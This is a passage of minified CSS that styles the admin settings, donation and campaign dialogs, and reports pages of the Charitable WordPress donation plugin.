.charitable-settings-object,body.charitable_page_charitable-tools .charitable-settings-object{display:flex;flex-direction:row;align-items:center;justify-content:space-between}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo{padding:0}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name{padding:0 0 0 10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name .charitable-badge{margin-right:10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name h4{width:130px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name{display:flex;align-items:center;justify-content:center;flex-direction:row}body.charitable_page_charitable-reports .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object.square .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox{display:flex;justify-content:left;align-items:center;width:calc(100% - 20px)}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox th h4{padding:0!important;margin:0!important}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox td{margin:0;padding:0}body.charitable_page_charitable-reports .square-business-locations.square-disconnected,body.charitable_page_charitable-settings .square-business-locations.square-disconnected,body.charitable_page_charitable-tools .square-business-locations.square-disconnected{display:none!important}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main table.form-table tbody tr:last-child{display:none}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main p.submit{margin-bottom:40px}body.charitable-admin-settings a.button,body.taxonomy-campaign_category a.button,body.taxonomy-campaign_tag a.button{background-color:#f8f8f9;border-color:#d7d7db;color:#5c5f6a;border-radius:5px;padding:5px 10px}body.charitable-admin-settings a.button:hover,body.taxonomy-campaign_category a.button:hover,body.taxonomy-campaign_tag a.button:hover{background-color:#d1d1d8;border-color:#d7d7db}body.charitable-admin-settings a.button-primary,body.taxonomy-campaign_category a.button-primary,body.taxonomy-campaign_tag a.button-primary{background-color:#5aa152;border-color:#5aa152;color:#fff;border-radius:5px}body.charitable-admin-settings a.button-primary:hover,body.taxonomy-campaign_category a.button-primary:hover,body.taxonomy-campaign_tag a.button-primary:hover{background-color:#3f7539;border-color:#3f7539}body.charitable-admin-settings input.button-primary[type=submit],body.taxonomy-campaign_category input.button-primary[type=submit],body.taxonomy-campaign_tag input.button-primary[type=submit]{background-color:#5aa152;border-color:#5aa152;color:#fff;border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable-admin-settings input.button-primary[type=submit]:hover,body.taxonomy-campaign_category input.button-primary[type=submit]:hover,body.taxonomy-campaign_tag input.button-primary[type=submit]:hover{background-color:#3f7539;border-color:#3f7539}body.taxonomy-campaign_category input.button-primary[type=submit],body.taxonomy-campaign_tag input.button-primary[type=submit]{line-height:0;height:50px}.charitable-badge{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;text-transform:uppercase;font-weight:700;text-align:center;line-height:6px;user-select:none;transition-property:all;transition-duration:.15s;transition-timing-function:ease-out}.charitable-badge i.fa{margin-right:5px}.charitable-badge-sm{font-size:8px;letter-spacing:.4px;padding:6px 8px}.charitable-badge-inline{display:inline-block}.charitable-badge-green{color:#30b450;background-color:#e5f6e9}.charitable-badge-orange{color:#f18200;background-color:#fff3e6}.charitable-badge-rounded{border-radius:3px}.charitable-panel-sidebar .charitable-badge{border-radius:4px;color:#fff;font-size:10px;font-weight:700;line-height:1;padding:4px 5px;margin-inline-end:10px;position:relative;top:-2px;left:10px}.charitable-panel-sidebar .charitable-badge-green{color:#fff;background-color:#00a32a}body.wp-admin #wpbody .charitable-wrap .badge.v2{background-color:transparent!important}body.wp-admin #wpbody .charitable-wrap .badge.v2 .mascot{height:75px;width:75px;background-image:url("../../assets/images/charitable-logo.svg");background-size:cover;background-repeat:no-repeat}.charitable-hide{display:none}.charitable-hidden{display:none!important}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}div#charitable-settings table.form-table tbody tr.section-heading th[scope=row] h4,div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600!important}div#charitable-tools table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600!important;font-size:20px;margin:0 0 -20px 0;line-height:20px}div#charitable-tools h4#code-snippets,div#charitable-tools h4#system-information{font-weight:600!important;font-size:20px;margin:20px 0;line-height:20px}.notice.charitable-notice{padding:10px 10px}body.post-type-campaign .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px!important}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#fff;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5aa152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-campaign .jconfirm .jconfirm-box input.campaign_name.form-control{border-color:#dfdfe1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px!important;width:90%!important}body.post-type-campaign .jconfirm .jconfirm-box label{display:inline-block!important;margin-top:0!important}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459c4!important;text-decoration:none}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-closeIcon{color:#fff;opacity:.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px!important}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-title-c{color:#e7e7e9;padding:30px 0 30px 30px!important;font-size:18px;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#fff;color:#5c5f6b;font-family:Inter,sans-serif}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:"\f158";display:block!important;font:normal 20px/1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5c5f6b}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal label,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal legend{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input[type=text],body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select{margin-bottom:20px;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal button.button{background:#fafafb;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5e616c;border:1px solid #ddd;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #e3e3e5;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.post-type-donation .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px!important}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#fff;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5aa152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-donation .jconfirm .jconfirm-box input.donation_name.form-control{border-color:#dfdfe1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px!important;width:90%!important}body.post-type-donation .jconfirm .jconfirm-box label{display:inline-block!important;margin-top:0!important}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459c4!important;text-decoration:none}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-closeIcon{color:#fff;opacity:.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px!important}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-title-c{color:#e7e7e9;padding:30px 0 30px 30px!important;font-size:18px;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#fff;color:#5c5f6b;font-family:Inter,sans-serif}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:"\f158";display:block!important;font:normal 20px/1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}body.post-type-donation.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5c5f6b}body.post-type-donation.edit-php.post-type-charitable .charitable-modal label,body.post-type-donation.edit-php.post-type-charitable .charitable-modal legend{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal input[type=text],body.post-type-donation.edit-php.post-type-charitable .charitable-modal select{margin-bottom:20px;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal button.button{background:#fafafb;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5e616c;border:1px solid #ddd;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #e3e3e5;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.charitable_page_charitable-reports .charitable-activity-report,body.charitable_page_charitable-reports .charitable-overview-report{position:relative;padding:0}body.charitable_page_charitable-reports .charitable-activity-report a.button,body.charitable_page_charitable-reports .charitable-overview-report a.button{border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-reports .charitable-activity-report a.button.button-primary,body.charitable_page_charitable-reports .charitable-overview-report a.button.button-primary{background-color:#5aa152;border-color:#5aa152;color:#fff}body.charitable_page_charitable-reports .charitable-overview-report-loading{background-color:rgba(255,255,255,.85);position:absolute;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:99}body.charitable_page_charitable-reports .charitable-section-loading{opacity:.25}body.charitable_page_charitable-reports .nav-tab.activity::after,body.charitable_page_charitable-reports .nav-tab.advanced::after,body.charitable_page_charitable-reports .nav-tab.donors::after{content:"Pro";background-color:#f99e36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:#fff;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-reports .tablenav{font-family:Inter,sans-serif!important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .tablenav .alignleft,body.charitable_page_charitable-reports .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-reports .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-reports .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-reports .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-reports .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px}body.charitable_page_charitable-reports .tablenav a.button,body.charitable_page_charitable-reports .tablenav input.button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;min-height:auto;line-height:38px;font-size:13px}body.charitable_page_charitable-reports .tablenav a.button:hover,body.charitable_page_charitable-reports .tablenav input.button:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-reports .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-reports .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged:hover,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-reports .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-reports .charitable-section .alignleft,body.charitable_page_charitable-reports .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-reports .charitable-section.no-bottom{margin-bottom:0}body.charitable_page_charitable-reports .charitable-section.no-bottom .alignleft,body.charitable_page_charitable-reports .charitable-section.no-bottom .alignright{margin-bottom:0}body.charitable_page_charitable-reports .charitable-container{border-radius:5px;color:#757781;background-color:#fff}body.charitable_page_charitable-reports .charitable-datepicker-container{display:inline-block;margin-left:5px}body.charitable_page_charitable-reports .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-reports .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-reports .charitable-section-grid{display:grid;grid-template-columns:repeat(2,1fr);grid-gap:20px;margin-top:20px}body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-reports .charitable-cards{display:grid;grid-template-columns:repeat(4,1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px;width:100%}body.charitable_page_charitable-reports .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-reports .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{color:#474a57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-reports .donations-breakdown tr th{color:#6a6c77}body.charitable_page_charitable-reports .donations-breakdown td{padding-top:20px;padding-bottom:20px;color:#8c8e96}body.charitable_page_charitable-reports .donations-breakdown td.negative{color:#f99e36}body.charitable_page_charitable-reports .donations-breakdown td.positive{color:#5aa152}body.charitable_page_charitable-reports .donations-breakdown td:first-child,body.charitable_page_charitable-reports .donations-breakdown tr th:first-child{padding-left:30px}body.charitable_page_charitable-reports .donations-breakdown td.column-date{font-weight:600}body.charitable_page_charitable-reports .charitable-report-card .header{margin:20px 0 0 0;padding-bottom:20px;padding-left:30px;padding-right:30px;border-bottom:1px solid #efeff1}body.charitable_page_charitable-reports .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-graph{width:100%}body.charitable_page_charitable-reports .charitable-report-card .the-list{padding-left:20px;padding-right:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-report-card .the-list.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li{color:#474a57;display:flex;border-bottom:1px solid #efeff1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8c8e96;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .time-ago{color:#8c8e96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px;text-align:right}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity{width:100%}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity h2{line-height:30px;font-size:18px}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container{background-color:#fff}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container .charitable-no-results{padding:20px;text-align:left;font-size:16px;line-height:16px;color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container{padding:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-the-list-container.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-the-list-container ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li{color:#474a57;display:flex;border-bottom:1px solid #efeff1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8c8e96;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .time-ago{color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-the-list-container ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-reports .charitable-top-campaigns-report p.link{display:table}body.charitable_page_charitable-reports .charitable-top-campaigns-report a{color:#494e5a;text-decoration:none}body.charitable_page_charitable-reports .charitable-top-campaigns-report a img{float:right;margin-left:10px}body.charitable_page_charitable-reports .charitable-top-campaigns-report a:hover{text-decoration:underline}body.charitable_page_charitable-reports .charitable-top-donors-report .avatar img{border-radius:50%}body.charitable_page_charitable-reports .charitable-payment-methods-report{width:33%}body.charitable_page_charitable-reports .charitable-payment-methods-report .apexcharts-canvas{background-image:url("../../../assets/images/icons/payments.svg");background-repeat:no-repeat;background-position:center;margin-left:auto;margin-right:auto}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend{margin:20px auto;width:55%;max-width:300px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li{display:flex;margin-bottom:15px;width:100%}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .icon span{display:block;border-radius:50%;width:15px;height:15px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.stripe .icon span{background-color:#5aa152}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.paypal .icon span{background-color:#2b66d1}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.manual .icon span{background-color:#f99e36}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.offline .icon span{background-color:#9e36f9}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square .icon span,body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square_core .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.none .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .info{margin-left:10px;flex-grow:1;font-size:14px;line-height:14px;color:#474a57;font-weight:600;text-align:left}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .total{font-size:14px;line-height:14px;color:#868890;font-weight:400;text-align:right}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899a0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494e5a;font-weight:400}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-reports .charitable-title-card{padding:20px 30px;margin-top:0;margin-bottom:0;position:relative}body.charitable_page_charitable-reports .charitable-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-title-card a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-reports select#report-advanced-type-filter,body.charitable_page_charitable-reports select#report-donor-type-filter{float:none!important;margin-left:10px}body.charitable_page_charitable-reports .charitable-advanced-report .tablenav{width:100%}body.charitable_page_charitable-reports .progress-bar{height:4px;background-color:#f5f5f5;border-radius:0;border:0}body.charitable_page_charitable-reports .progress-bar .progress{height:4px;background-color:#5aa152}body.charitable_page_charitable-reports .charitable-toggle i:focus,body.charitable_page_charitable-reports .charitable-toggle i:focus-visible,body.charitable_page_charitable-reports .charitable-toggle:active,body.charitable_page_charitable-reports .charitable-toggle:focus,body.charitable_page_charitable-reports .charitable-toggle:focus-visible,body.charitable_page_charitable-reports .charitable-toggle:hover{text-decoration:none;border:0;box-shadow:none}body.charitable_page_charitable-reports .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-reports .badge.completed{color:#50a66a}body.charitable_page_charitable-reports .badge.pending{color:#e38632}body.charitable_page_charitable-reports .badge.active{color:#50a66a}body.charitable_page_charitable-reports 